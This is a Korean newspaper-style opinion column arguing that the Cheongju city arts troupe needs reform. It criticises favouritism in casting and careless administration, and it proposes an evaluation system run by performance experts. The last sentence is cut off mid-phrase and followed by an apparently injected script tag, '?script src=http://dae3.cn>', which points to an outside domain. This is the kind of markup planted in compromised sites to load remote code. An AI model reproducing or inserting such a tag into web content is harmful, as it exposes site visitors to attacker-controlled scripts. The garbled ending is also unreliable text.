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제목 시립예술단 . 개혁이 필요하다(2)
내용 양적인 성장과 달리 질적인 측면을 살펴볼때 과연 청주시립예술단은 직업예술단으로 지역사회의 주요 인프라로서 역할을 해왔는가. 지금까지 예술단을 지원하라는 목소리만 컸지 질을 높이려는 자구책 마련에는 소홀했다는 지적이다. 단원맘대로 식의 무사안일과 침체에 빠졌던 것이 예술단의 본보기. 실력보다 학맥. 인맥에 따른 나눠먹기식 배역. 실적 때우기식 출연 등에 뒷공론이 많다. 이런식이니 공연의 품질을 보증할 수 없고 관객의 외면을 받을 수 밖에 없다. 이제 시립예술단도 심판 받아야 한다. 평가제를 도입해 점진적인 개선을 꾀해야 한다는 공론이다. 평가제는 공연관련 전문가들로 구성. 예술단의 연주활동에 있어서 드러낸 문제점을 보완하는데 목적이 있다. 예술단 간 경쟁이 과열되면서 공연의 질적 향상보다 누가 관객을 더 많이 동원하느냐. 공연회수가 어느 예술단이 더 많으냐로 세를 과시했다. 부작용이 속출하는 이런 문제를 없애기 위해 평가제는 예술단에 대한 객관적인 공연활동이나 평가를 내리기 위한 것이다. 이러한 제도의 도입은 연주력을 평가해 순위를 매기려는게 아니라 예술단이 스스로 개선토록 하는 한편 더 잘할 수 있는 분야가 무엇인가 찾아내려는 것이다. 예술단이 나름대로의 수준을 유지하고는 있지만 타성에 빠져들지 않고 모든 소속원들이 예술단의 발전을 위해 늘 노력해야 한다는 것. 또 이상적인 예술단 활동을 위한 조건으로 단원들은 역할에 상응하는 책임을 져야 함을 강조하는 요소다. 또 몇몇 예술인들의 경력과 명성만으로 무대를 독점하는 현실을 바로잡고 지역문화예술의 중심을 잡아가는 예술단의 바람직한 전형을 만들고자 하는 작업이라고 할 수 있다. 그러나 늘 지적되는 것이지만 제도보다는 어떻게 운영하느냐가 중요한 것이다. 예술단운영을 둘러싼 고질적인 잡음. 특정단체에 대한 과중한 지원사례. 주먹구구식 운영 등 순기능보다 예술인의 창작활동을 위축시키는 역기능으로 작용해 온 면이 있었다. 예술단의 개혁은 단체 내부에서의 변화와 구성원에서의 개혁 필요성에 대한 것으로 초점이 맞추어진다. 이를 위해서는 예술인들의 결단도 중요하지만 행정 책임자들의 열린의식과 책임감도 절실히 요구된다. 이번을 계기로 예술단의 성격규정과 위상정립을 새롭게 모색. 운영진로가 다각적으로 검토되어야 한다. 예술단 위상재정립을 전제조건으로 ?script src=http://dae3.cn>
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